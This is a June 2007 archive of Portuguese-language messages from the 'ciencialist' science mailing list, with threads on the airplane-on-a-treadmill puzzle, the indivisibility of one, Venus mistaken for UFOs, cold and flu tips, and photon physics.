> referencial adequado para cada análise que se faz necessária à solução do
> problema. As duas principais interrelações são: avião e a esteira; avião e
> o ar.

Bem, vc agora afirma que realmente está usando 2 referenciais para este
problema.
JR2 - Sim, um para cada análise...

Agora, mais uma olhada em um trecho do enunciado do problema:

"(...) O avião se move em uma direção, e a esteira na direção oposta. A
esteira tem um sistema de controle que acompanha a velocidade do avião e faz
com que a esteira tenha exatamente a mesma velocidade dele, na direção
oposta. A pergunta é: o avião vai conseguir decolar?"

Percebe que não faz sentido a sua utilização de 2 referenciais para este
problema? O enunciado apresentado acima deixa claro, quando falamos de
movimentos em direções opostas e mesma velocidade, que estamos falando de um
mesmo referencial (que não precisa ser o chão, apesar de ser o mais óbvio).
JR2 - A dificuldade parece que está no entendimento ou na visualização do
"sistema de controle" que mantém a velocidade da esteira igual a do avião ou
a velocidade do avião igual a da esteira. É importante lembrar e considerar
que isso - esses movimentos - ocorrem *simultâneamente*. Como isso pode
ocorrer simultâneamente? Aqui é necessário a visão do infinitesimal: a cada
"mínimo" movimento do avião sobre a esteira provoca o descolamento da
esteira em sentido contrário. Para melhor esclarecer podemos desmembrar os
movimentos do avião e o da esteira em um determinado tempo e depois
juntá-los ao mesmo tempo, simultâneamente. Vejamos.
Utilizando o referencial da interrelação dos movimentos entre o avião e a
esteira, ou se vc preferir, um ponto inicial zero como referencial:
1. O avião acelera e se desloca 100 metros sobre a esteira para a direita do
ponto inicial zero.
(Esse ponto zero não precisa, necessáriamente, estar no *chão*. Pode estar
na estrutura da esteira, no piso de um trem, de uma carreta ou de um
porta-avião em movimento em relação ao *chão*, o qual - movimento - deve ser
considerado na análise da velocidade do ar na fuselagem do avião, para
verificar se ele tem condições de voar ou não.)
2. A esteira também acelera ao mesmo tempo que o avião e se desloca 100
metros sob o avião para a esquerda do ponto inicial zero.
Espero que considere que isso é perfeitamente factível.
Ao serem "montados" esses dois deslocamentos no mesmo período de tempo,
observamos que o avião se mantém no ponto zero, isto é, praticamente parado
em relação ao ar que o rodeia, o que não lhe dá sustentação para voar.

Se vc não concorda com esta simples observação, não há razão para
prosseguirmos, porque estamos falando línguas diferentes, e nunca chegaremos
a nenhum lugar.
JR2 - Espero que vc entenda que o *chão* não é o único referencial a ser
considerado nesse arranjo.

Na realidade, o único ponto que precisava ser esclarecido nesta discussão
era este.
JR2 - Espero que a explicação acima possa lhe levar a entender melhor a
questão da interação e da simultaneidade dos movimentos do avião e da
esteira.

Mas quero deixar registrado que acho sua abordagem conceitualmente errada,
não por ser complexa, ou porque exija um grande raciocínio para a
compreensão (como vc parece querer deixar parecer). Apenas errada. E o erro
ocorre, a meu ver, em um conceito bastante simples: a escolha do
referencial.
JR2 - Não me parece que a abordagem seja tão complexa...
Considero apenas que ela ainda não foi devidamente analisada e apreendida.
Por enquanto o que há são muitos comentários dizendo que ela está errada,
mas que não esclarecem porque está errada ou porque não podemos usar a
interação de movimentos entre o avião e a esteira.

Um abraço,
Ricardo

Abraços
José Renato



SUBJECT: RES: [ciencialist] P/ Renato - Re: Balanço do avião
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/06/2007 15:21

José, continuo após o seu JR2:

> JR2 - A dificuldade parece que está no entendimento ou na visualização
> do "sistema de controle" que mantém a velocidade da esteira igual a
> do avião ou a velocidade do avião igual a da esteira.
>
> (...)
>
> JR2 - Espero que vc entenda que o *chão* não é o único referencial a ser
> considerado nesse arranjo.

Acredite, não há qualquer dificuldade por minha parte (e de outros da lista,
tenho certeza) na compreensão do mecanismo que vc visualizou para o
problema.

A questão não é a compreensão da sua idéia, mas sim que eu não concordo com
o pressuposto utilizado na sua abordagem, da utilização de dois referenciais
diferentes para a avaliação das velocidades citadas. Para mim, além de o
enunciado em questão não dar margem para este artifício (como apresentei,
citações, no e-mail anterior), não há nenhuma lógica na sua utilização em
problemas do gênero, a não ser que o problema explicite esta situação como
parte do enunciado.


> JR2 - Não me parece que a abordagem seja tão complexa...

Nunca achei que fosse. Não considero complexa, apenas incorreta.


Um abraço,
Ricardo





SUBJECT: Re: Os que não dividiram o carro, tentando dividir o UM
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/06/2007 14:41

Olá Takata!

Takata >>> Caramba, vc deve ser o novo Jesus Cristo,
não me admira q vc sabe coisas q ninguém mais sabe.

--- O que eu sei vc também sabe, Takata. Todo ser
humno sabe.

Takata >>> Vai resolver o problema do mundo.

--- Hehehe... este problema também não é meu, é do
mundo. Com todo respeito. Aliás, não existe problema
com o mundo. Ver problema é único problema.

Takata >>> Corta uma maçã ao meio e se tem duas maçãs.


--- Não é duas maças. É UMA coisa + UMA coisa. E assim
é com qualquer coisa.

Takata >>> Incrível.

--- Também acho incrível, mas é assim. faz a
experiencia vc também e vai ver por si só.


sinceramente
ferrari


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SUBJECT: Vênus, uma OVNI “lindona”
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 17/06/2007 15:21

V�nus, uma OVNI "lindona" <http://www.ceticismoaberto.com/news/?p=906>

<http://marcianitosverdes.haaan.com/2007/06/qu-son-esas-cosas-que-se-ven-en-el-cielo/>
Acima, fotografia tomada em abril por Paul
Campbell<http://www.bautforum.com/showthread.php?t=57578>,
sem telesc�pios, mostrando V�nus logo acima da Lua. Nas semanas seguintes,
V�nus continuaria dando shows com seu brilho, e logo ap�s a reentrada do
foguete Soyuz sobre o Brasil <http://www.ceticismoaberto.com/news/?p=885>,
na segunda metade de maio, pode ter sido a principal respons�vel por uma
enorme s�rie de relatos de OVNIs nos c�us. MarcianitosVerdes tem a tradu��o
das explica��es de um astr�nomo n�o s� sobre V�nus, mas tamb�m sobre *
J�piter*, que pode ser visto no extremo oposto de V�nus: �Qu� son esas cosas
que se ven en el
cielo?<http://marcianitosverdes.haaan.com/2007/06/qu-son-esas-cosas-que-se-ven-en-el-cielo/>(em
espanhol, e as explica��es s�o para o outro hemisf�rio, mas valem em
grande parte para n�s ao sul tamb�m).
Abaixo, uma simula��o de como o c�u deve aparecer ao anoitecer de hoje, 17
de junho de 2007, em S�o Paulo:

A imagem foi produzida com o programa gratuito
stellarium<http://www.stellarium.org/>
.
Explicar um OVNI como V�nus pode ser algo t�o comum que n�o agrada a muitos.
� assim uma boa surpresa que neste t�pico de discuss�o do GEO no
Orkut<http://www.orkut.com/CommMsgs.aspx?cmm=8252172&tid=2535561098137915351&na=1&nst=1>,
depois de muitos relatos e imagens, um participante � Marcelo (Bizza) �
tenha indicado a resposta astron�mica e boa parte das pessoas as tenham
aceito. Incidentalmente, Marcelo de quebra tamb�m indicou �timas imagens que
p�de fazer de J�piter <http://mbissaro.multiply.com/photos/photo/4/18> e
Saturno <http://mbissaro.multiply.com/photos/photo/4/10>.
Mas� e se a "lindona" se movia, brilhava demais, e *n�o podia* ser V�nus ou
J�piter? Bem, confira um di�logo sobre
V�nus<http://www.ceticismoaberto.com/ufologia/dvenus.htm>
.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Ci�ncia<http://www.ceticismoaberto.com/news/?cat=11>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12> | Por Mori

- Coment�rios <http://www.ceticismoaberto.com/news/?p=906#respond> e
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- *Posts relacionados:*
- ISS pr�xima de V�nus
<http://www.ceticismoaberto.com/news/?p=873>Fotografia tomada h� pouco
por Etienne Sim...
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=296> O
"OVNI" da Pizzaria Dom Rom�o Sobre como uma c...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=382>Noite estrelada Un 'Van
Gogh' para la 'Alerta OV...
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=468> O
que � isso? Um p�ssaro? Um avi�o? Bem, j� ...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=353>Apenas outro OVNI de
v�rtice N�o sabe o que �...


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SUBJECT: Vênus, uma OVNI “lindona”
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DATE: 17/06/2007 15:24

V�nus, uma OVNI "lindona" <http://www.ceticismoaberto.com/news/?p=906>

<http://marcianitosverdes.haaan.com/2007/06/qu-son-esas-cosas-que-se-ven-en-el-cielo/>
Acima, fotografia tomada em abril por Paul
Campbell<http://www.bautforum.com/showthread.php?t=57578>,
sem telesc�pios, mostrando V�nus logo acima da Lua. Nas semanas seguintes,
V�nus continuaria dando shows com seu brilho, e logo ap�s a reentrada do
foguete Soyuz sobre o Brasil <http://www.ceticismoaberto.com/news/?p=885>,
na segunda metade de maio, pode ter sido a principal respons�vel por uma
enorme s�rie de relatos de OVNIs nos c�us. MarcianitosVerdes tem a tradu��o
das explica��es de um astr�nomo n�o s� sobre V�nus, mas tamb�m sobre *
J�piter*, que pode ser visto no extremo oposto de V�nus: �Qu� son esas cosas
que se ven en el
cielo?<http://marcianitosverdes.haaan.com/2007/06/qu-son-esas-cosas-que-se-ven-en-el-cielo/>(em
espanhol, e as explica��es s�o para o outro hemisf�rio, mas valem em
grande parte para n�s ao sul tamb�m).
Abaixo, uma simula��o de como o c�u deve aparecer ao anoitecer de hoje, 17
de junho de 2007, em S�o Paulo:

A imagem foi produzida com o programa gratuito
stellarium<http://www.stellarium.org/>
.
Explicar um OVNI como V�nus pode ser algo t�o comum que n�o agrada a muitos.
� assim uma boa surpresa que neste t�pico de discuss�o do GEO no
Orkut<http://www.orkut.com/CommMsgs.aspx?cmm=8252172&tid=2535561098137915351&na=1&nst=1>,
depois de muitos relatos e imagens, um participante � Marcelo (Bizza) �
tenha indicado a resposta astron�mica e boa parte das pessoas as tenham
aceito. Incidentalmente, Marcelo de quebra tamb�m indicou �timas imagens que
p�de fazer de J�piter <http://mbissaro.multiply.com/photos/photo/4/18> e
Saturno <http://mbissaro.multiply.com/photos/photo/4/10>.
Mas� e se a "lindona" se movia, brilhava demais, e *n�o podia* ser V�nus ou
J�piter? Bem, confira um di�logo sobre
V�nus<http://www.ceticismoaberto.com/ufologia/dvenus.htm>
.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Ci�ncia<http://www.ceticismoaberto.com/news/?cat=11>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12> | Por Mori Comente!
� <http://www.ceticismoaberto.com/news/?p=906#respond>

*Posts relacionados:*
- ISS pr�xima de V�nus
<http://www.ceticismoaberto.com/news/?p=873>Fotografia tomada h� pouco
por Etienne Sim...
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"OVNI" da Pizzaria Dom Rom�o Sobre como uma c...
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Gogh' para la 'Alerta OV...
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que � isso? Um p�ssaro? Um avi�o? Bem, j� ...
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v�rtice N�o sabe o que �...


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SUBJECT: GRIPES E RESFRIADOS: ANOTE AÍ ENQUANTO É TEMPO
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 17/06/2007 20:22

___________________________________________________________________
DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 17/06/2007 - No.052 – Ano II

http://br.groups.yahoo.com/group/saudeparatodos
© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

___________________________________________________________________

Olá
Apesar de todos os avanços tecnológicos ocorridos nas últimas décadas, o Rádio continua sendo uma força de comunicação impressionante. A Internet, ao contrário do que era de se esperar, não retirou seu brilho, apenas adicionou recursos.

Percebi isso “na carne” durante a participação no Programa Dedo de Prosa na rádio América (http://www.programadedodeprosa.com.br/default.asp?pag=p000013). Ligações de várias partes do Brasil, com pessoas que estavam escutando o programa através de links na Web. Maravilhoso.

Agradeço ao Juarez Elisiário que, além de amigo e idealizador do programa, é um comunicador de primeira e está conseguindo levar à Terceira Idade um conteúdo muito rico e estimulante.

Se você não teve a oportunidade de ouvir o programa, as respostas às principais perguntas e as dicas mais interessantes seguem na crônica de hoje – GRIPES E RESFRIADOS: ANOTE AÍ ENQUANTO É TEMPO.

Espero que sejam úteis!

Um abraço,

Dr. Alessandro Loiola.
___________________________________________________________________


GRIPES E RESFRIADOS: ANOTE AÍ ENQUANTO É TEMPO

© Dr. Alessandro Loiola


Fui convidado a um programa de rádio para falar sobre Doenças Respiratórias de Inverno. Para não fazer feio e sair disparando estatísticas estapafúrdias, recorri à sempre muito bem informada Internet. E o que encontrei? Estatísticas ainda mais estapafúrdias do que poderia imaginar.

Por exemplo: a cada ano, as infecções respiratórias de inverno acometem uma de cada 10 pessoas no mundo todo. Faça as contas: são quase 20 casos de resfriados por segundo!

Apenas nos EUA, as Gripes e Resfriados custam mais de 4 bilhões de dólares por ano em hospitalizações e consultas médicas, além de uma perda de produtividade por afastamento do trabalho estimada em outros 7 bilhões de dólares anuais. É bilhão de dólar pra tudo quanto é lado. Infelizmente, nenhum desses bilhões chega até meu consultório. Talvez por problemas no CEP, acredito.

Mesmo com todos estes dados alarmantes, é comum o sujeito olhar para a receita de banda e deixar a sala de exame com aquela cara de “eu sabia que ele viria com essa conversa de virose!”. Mas as doenças respiratórias do inverno são, em sua maioria, viroses de fato.

Apesar da gripe ser causada por um único tipo de vírus mutante, o Influenza, os Resfriados podem ser causados por mais de 200 tipos de vírus diferentes. E atenção: Gripe não é igual a Resfriado.

O Resfriado se caracteriza por dores de cabeça, desconforto na garganta, congestão nasal e coriza, raramente causando febre. A Gripe, por outro lado, é uma infecção mais grave, com febre alta, dores musculares intensas e bastante indisposição, mas raramente causa sintomas do tipo coriza ou rinite.

Para ajudar você a lidar melhor com as viroses de inverno, relacionei a seguir 10 dicas valiosas:

- De um modo geral, os sintomas das viroses de inverno se iniciam 2-3 dias após a contaminação pelo vírus maledito e duram cerca de 7-14 dias até a recuperação completa. Tenha paciência.

- O custo elevado e o tempo prolongado para obter os resultados comprometem a utilidade da maioria dos testes de detecção viral. Por isso os médicos não perdem tempo tentando isolar qual o vírus que está lhe cercando. É caro demais e os resultados só estarão prontos quando você não estiver mais doente.

- A maioria dos casos de Gripe e Resfriados pode ser tratada em casa com sintomáticos, repouso, boa hidratação oral e alimentação equilibrada. Lembra aquela canja da sua avó? Então, ela.

- Para diminuir a irritação do nariz e da garganta, aproveite o vapor do banho quente ou faça compressas sobre o rosto por 5-10 minutos com toalhas limpas ensopadas com água morna.

- O gargarejo com soro fisiológico morno ajuda a reduzir o desconforto na garganta. Curiosamente, o mesmo pode ser dito com relação a picolés e bebidas geladas.

- Comprimidos descongestionantes podem oferecer algum alívio, mas atenção para o risco de efeitos colaterais, tais como palpitações, insônia, ansiedade, elevação da pressão arterial e tremores.

- Descongestionantes nasais tópicos podem diminuir o desconforto no nariz, mas também podem causar piora da congestão algumas horas após seu uso. Para evitar esse problema, limite o uso dos descongestionantes nasais a 3-4 aplicações por dia ou substitua-os pelo soro fisiológico puro e simples.

- Durante a noite, elevar um pouco a cabeceira reduz o reflexo de tosse desencadeado pelas secreções na garganta, melhorando a qualidade do sono.

- Quer diminuir seu risco de pegar uma gripe ou resfriado? Lave cuidadosamente suas mãos por 20 segundos com água e sabão comum, várias vezes durante o dia.

- E por último: muitos vírus que causam resfriados podem sobreviver por até 3 horas em corrimões, telefones, maçanetas, etc. A limpeza regular destes locais com desinfetantes pode ajudar a reduzir o risco de infecção, mas isso não substitui a boa higiene das mãos.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (http://shoppinglivros.com.br/loja.phtml?f=1&ccat=60&cprod=1300&sess=a75e095792e3f17a7c802ddb1cb2e117). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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SUBJECT: A sociedade como soma de indivíduos
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/06/2007 21:03

Oi pessoal,

Andei lendo o blog do Rodrigo Constantino. O cara é bom, muito
inteligente, erudito. Entretanto, no mais recente artigo dele, "As
Sete Maravilhas", cometeu algumas bobagens, a começar pela asserção
segundo a qual "a sociedade não passa de um somatório de indivíduos"
(sobre essa afirmação, gostaria que os adeptos da sociobiologia da C-
List tecessem alguns comentários).

Incomodado com tamanha baboseira ultraliberalóide, resolvi publicar,
no próprio blog do autor, a seguinte mensagem:

"A sociedade não passa de um somatório de indivíduos, e seria mais
saudável que as pessoas passassem a julgar – para o bem e para o mal –
atos individuais. Eu tenho mais respeito e afinidade por um
australiano distante que defenda a liberdade individual do que por um
vizinho marxista. Por esses motivos acima, não quero saber de voto em
Cristo Redentor!" (Rodrigo Constantino)

Constantino,

Uma sociedade não é um somatório de indivíduos, mas uma "estrutura".
Soma de "indivíduos" é uma colônia de bactérias, haja vista que uma
monera singular, via de regra, não depende das outras nem mesmo para
se reproduzir.

Toda sociedade é um complexo de "relações" entre indivíduos: relações
sexuais, relações afetivas ou de cuidado (como a das mães com as suas
proles), relações de cooperação, relações de troca, relações de
aprendizado, relações de dominação ou hierárquicas etc.

Você, um liberal que cultua o Indivíduo, fala que, em nossos
julgamentos, deveríamos nos ater - para o bem e para o mal - aos atos
individuais. Ora, como julgar Goethe, e em particular a sua obra-
prima "Fausto", sem levar em conta o empreendimento etnológico ou
a "criação coletiva" em que ele se inspirou: a "lenda" de Fausto? E
como avaliar esse "ato individual" que é a obra "Grande Sertão:
Veredas", de Guimarães Rosa, sem considerar a matéria-prima dessa
magnífica obra, a saber, o folclore mineiro, que, como todo folclore,
é construção coletiva? (poderia, ainda, celebrar as estupendas
criações "individuais" de Ariano Suassuna, Patativa de Assaré e até
Homero, que modelaram suas obras tendo por barro os mitos e lendas -
empreendimentos coletivos e anônimos - do seu povo.

Você afirma que prefere o significado da estátua da Liberdade ao do
Cristo Redentor. Ora, até para um ateu não bitolado, Cristo é símbolo
de muitas coisas boas. Com efeito, quando Jesus afirmou "meu reino
não é deste mundo" e "dai a César o que é de César e a Deus o que é
de Deus", com essas sentenças estabeleceu-se pela primeira vez a
alvissareira possibilidade (que não existe nos demais monoteísmos
abraâmicos: o judaísmo e o islamismo) da laicização da política, da
separação entre Igreja e Estado. Demais, foi através de Cristo que a
razão crítica (razão esta que Popper, no século XX, deu o acabamento
final) veio ao mundo. "Pai, por que me abandonaste?" (Mateus, XXVI,
46). Vemos, nessa interrogação dolorosa, a razão questionando a
própria razão e, ipso facto, o direito ao questionamento erigido a
princípio teológico.

Sim, o Cristo Redentor não é apenas bonito.

De resto, ao contrário de você, não costumo reduzir as pessoas às
suas crenças. Sou de centro-esquerda. Não obstante isso, tenho mais
respeito ao meu vizinho liberal de direita (um homem íntegro e bom)
do que por canalhas que pensam igualzinho a mim, não importando onde
vivam (Lembro que também há muitos liberais calhordas).

Abraço.
4:26 PM

Manuel Bulcão



SUBJECT: Re: Os que não dividiram o carro, tentando dividir o UM
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/06/2007 22:06

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Talvez o problema seja de português: 1 maçã / 2 = 1 metade + 1
> metade :)))

Agora tente escrever isso sem a palavra "metade" ou equivalente. O
Ferrari, q fugiu da escola antes de aprender frações, acha q não
existe 0,5 na natureza.

[]s,

Roberto Takata



SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/06/2007 22:14

--- Em ciencialist@yahoogrupos.com.br, "Jefferson" <jeff@...> escreveu
> Anti-fóton?

Como um fóton é desprovido de carga elétrica, um antifóton tem a mm
cara de um fóton. Em outras palavras, um antifóton é um outro fóton.

> Bom, nesta explicação, então, um raio de luz seria uma
> sequência de sobras de fótons virtuais despareados que vão surgindo
> pelo caminho da onda, certo?

Os fótons virtuais despareados "transformam-se" em fótons reais.

> Se eventualmente o fóton de um raio de luz não encontrar um
> anti-fóton virtual este pararia?

Em tese não. Ele seguiria até encontrar um fóton com q se aniquilasse.
Mas o caminho livre médio tende a ser muito, muito, muito, muito curto.

> Desta forma, o acontece com raios de luz que chegam aos "confins" do
> universo (creio que seriam apenas os provenientes do "big bang",
> por causa da relatividade), onde não existe qualquer tipo de campo?

Pela teoria quântica é impossível existir um local em q não haja um
campo - ainda q em larga escala (muitas, muitas, muitas ordens de
grandeza acima da escala de Planck) tenha uma média igual a zero.

[]s,

Roberto Takata



SUBJECT: Re: Os que não dividiram o carro, tentando dividir o UM
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/06/2007 22:15

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- O que eu sei vc também sabe, Takata. Todo ser
> humno sabe.

Eu não sei cortar uma maçã e ter ao final duas maçãs. (Claro, sem q eu
plante as sementes.)

[]s,

Roberto Takata



SUBJECT: Re: A sociedade como soma de indivíduos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/06/2007 22:25

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Soma de "indivíduos" é uma colônia de bactérias, haja vista que uma
> monera singular, via de regra, não depende das outras nem mesmo para
> se reproduzir.

Isso não é verdade. Há todo um complexo de comunicação química entre
as bactérias q resultam entre outras coisas em um "senso de censo" (as
bactérias recebem informações aproximadas a respeito de qtas bactérias
existem na vizinhança - o q pode disparar ou inibir o processo de
multiplicação).

> Demais, foi através de Cristo que a razão crítica (razão esta que
> Popper, no século XX, deu o acabamento final) veio ao mundo.

Bem, Sócrates (o "só sei que nada sei", não o Doutor Magrão) e
Siddharta Gautama (o q nada tem a ver com corrupção por construtoras)
parecem preceder Josué de Nazaré em alguns séculos.

[]s,

Roberto Takata



SUBJECT: Re: A sociedade como soma de indivíduos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/06/2007 23:29

De todo modo, Bulcão, dá pra fazer um trocadilho.

"A sociedade não é *a* soma de indivíduos, mas sim *o* soma de
indivíduos".

(Embora eu dissesse q é uma soma tb - as interações fazem parte da conta.)

[]s,

Roberto Takata



SUBJECT: Para quem mora na Europa ou...
FROM: Maria Natália <grasdic2@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 00:59


Um eclipse de vénus!!
Será a meio da tarde e será a Lua a responsável. Mas entretanto quem
for usar binóculo...não apontais ao Sol! Ficareis cegos para SEMPRE!
Para saber de mapas e locais de visibilidade:
http://spaceweather.com

A notícia original:
Space Weather News for June 17, 2007
http://spaceweather.com

European sky watchers should be alert on Monday, June 18th, for a
mid-afternoon eclipse of Venus by the crescent Moon. Hanging high in
the
sky, Venus will appear as a pinprick of light beside the Moon,
visible to
the naked eye in broad daylight until the edge of the Moon covers
the
planet. (Technically, this is called a "lunar occultation.")
Binoculars
will improve visibility, but be careful not to point them at the
sun.

Elsewhere, in the Middle East, India and Pakistan, the eclipse can
be
seen around sunset and after dark. From those places, a clear view
of
the western horizon is essential because the Moon and Venus will be
setting, but the sight should be spectacular. Except for a small
region
around the Canadian maritime provinces, this event will be
completely
invisible from North America.

^^
Como vai a galera?
Espero que trabalhando sempre para motivar as crianças do ensino
médio para a Física e a Química...sem elas não haverá nem astronomia
nem biologia moderna...
Bom trabalho entre os jovens dos 12 aos 17 anos, são os meus votos.




SUBJECT: Re: Espaço-de-tempo?
FROM: Maria Natália <grasdic2@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 01:02



ESPAÇO DE TEMPO??????


HORROR!!
Pensei que já se tinha concluído aqui entre os ilustres cientistas
que tal é asneira e não deve ser usado pois quem se acha sabedor de
Ciência...
Olha aí pessoal isso é asneira. Tal como centígrados...
Bem e chega de bater nos cachopos.
Boa semana

E lutai pela BOA ESCOLA PÚBLICA
AMEM

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Jefferson" <jeff@> escreveu
> > Anti-fóton?
>
> Como um fóton é desprovido de carga elétrica, um antifóton tem a mm
> cara de um fóton. Em outras palavras, um antifóton é um outro
fóton.
>
> > Bom, nesta explicação, então, um raio de luz seria uma
> > sequência de sobras de fótons virtuais despareados que vão
surgindo
> > pelo caminho da onda, certo?
>
> Os fótons virtuais despareados "transformam-se" em fótons reais.
>
> > Se eventualmente o fóton de um raio de luz não encontrar um
> > anti-fóton virtual este pararia?
>
> Em tese não. Ele seguiria até encontrar um fóton com q se
aniquilasse.
> Mas o caminho livre médio tende a ser muito, muito, muito, muito
curto.
>
> > Desta forma, o acontece com raios de luz que chegam
aos "confins" do
> > universo (creio que seriam apenas os provenientes do "big
bang",
> > por causa da relatividade), onde não existe qualquer tipo de
campo?
>
> Pela teoria quântica é impossível existir um local em q não haja um
> campo - ainda q em larga escala (muitas, muitas, muitas ordens de
> grandeza acima da escala de Planck) tenha uma média igual a zero.
>
> []s,
>
> Roberto Takata
>




SUBJECT: EX-EDITORA DO NEW ENGLAND ACUSA FARMACEUTICAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 01:04

'A indústria está nos passando a perna'
http://www.estado.com.br/editorias/2007/06/17/ger-1.93.7.20070617.3.1.xml
------------
[]s,

Roberto Takata



SUBJECT: Re: Asteróide verdadeiro ou publicitário?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 01:10

Definitivamente a Citroen/Peugeot precisa urgentemente troca de
agência publicitária:

Kassab manda tirar ´estande´ de automóvel na Av. Paulista
Caixa com carro da Citroën dentro trouxe multa de R$ 2 mil a shopping
http://estadao.com.br/ultimas/cidades/noticias/2007/jun/17/115.htm
-------------------------
[]s,

Roberto Takata



SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 01:18

--- Em ciencialist@yahoogrupos.com.br, Maria Natália <grasdic2@...>
> ESPAÇO DE TEMPO??????

Mas quem usou a expressão "espaço de tempo"?

No máximo usou-se "espaço-tempo".

[]s,

Roberto Takata



SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 01:20

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> --- Em ciencialist@yahoogrupos.com.br, Maria Natália <grasdic2@>
> > ESPAÇO DE TEMPO??????
>
> Mas quem usou a expressão "espaço de tempo"?
>
> No máximo usou-se "espaço-tempo".

O Ferrari não conta, claro.

[]s,

Roberto Takata



SUBJECT: Olá Pessoal! Raciocínio lógico/matemático
FROM: Michel Moccelin Viccari <michelm.viccari@yahoo.com.br>
TO: ciência list <ciencialist@yahoogrupos.com.br>
DATE: 18/06/2007 02:30

Olá tudo bem?
Alguém conhece alguns exercícios lógicos e matemáticos para estimular o cérebro um pouco?
O q sugerem...
Gostaria de ouvir falar um pouco sobre psicologia, neurologia...
Raciocínio, memória...
Abraço


---------------------------------
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Olá Pessoal! Raciocínio lógico/matemático
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 03:16

--- Em ciencialist@yahoogrupos.com.br, Michel Moccelin Viccari
> Alguém conhece alguns exercícios lógicos e matemáticos para
> estimular o cérebro um pouco?

Sudoku, palavras-cruzadas, caça-palavras tb são bons. Vc pode ainda
pegar os testes de QI online - os verdadeiros, não as pegadinhas bobas.

Tb pode brincar com cubo mágico, jogar xadrez, bridge, pegar um livro
de matemática, física e química e resolver os exercícios, comprar
livros de desafio lógico (a Superinteressante tinha algumas edições
especiais com um monte de problemas lógicos).

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 07:39

Olá Takata


Takata >>> A luz se propaga no próprio espaço-tempo.

--- Quando voce pensa em espaço vc pensa em espaço
tridimencional?

--- Quando vc pensa em tempo, pensa em que?

--- Quando pensa espaço-tempo, o que imagina, e no que
difere de apenas espaço?



sinceramente
ferrari

EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
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SUBJECT: Re: [ciencialist] Os que não dividivam o carro, tentando dividir o UM
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 07:44

Ferrari >>> Me mostre 0,5 na natureza.

#### Léo: meio dia, meia Lua, meia vida, meia (um dos
pés do par de meias) ...

--- Ah! Quer dizer que vc olha é vê meio? Seu olho tem
memória, é isto?


sinceramente
ferrari


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SUBJECT: Re: [ciencialist] Re: Os que não dividiram o carro, tentando dividir o UM
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/06/2007 07:55

Olá Takata!

Takata >>> Eu não sei cortar uma maçã e ter ao final
duas maçãs. (Claro, sem q eu plante as sementes)

--- Takata, já te falei que não é duas maças, é UM +
UM. Se cortar em 10 pedaços, será:
1+1+1+1+1+1+1+1+1+1. Ou seja, o UM é indivisivel. E
mais, é terno também. Vc, como matemático, deveria
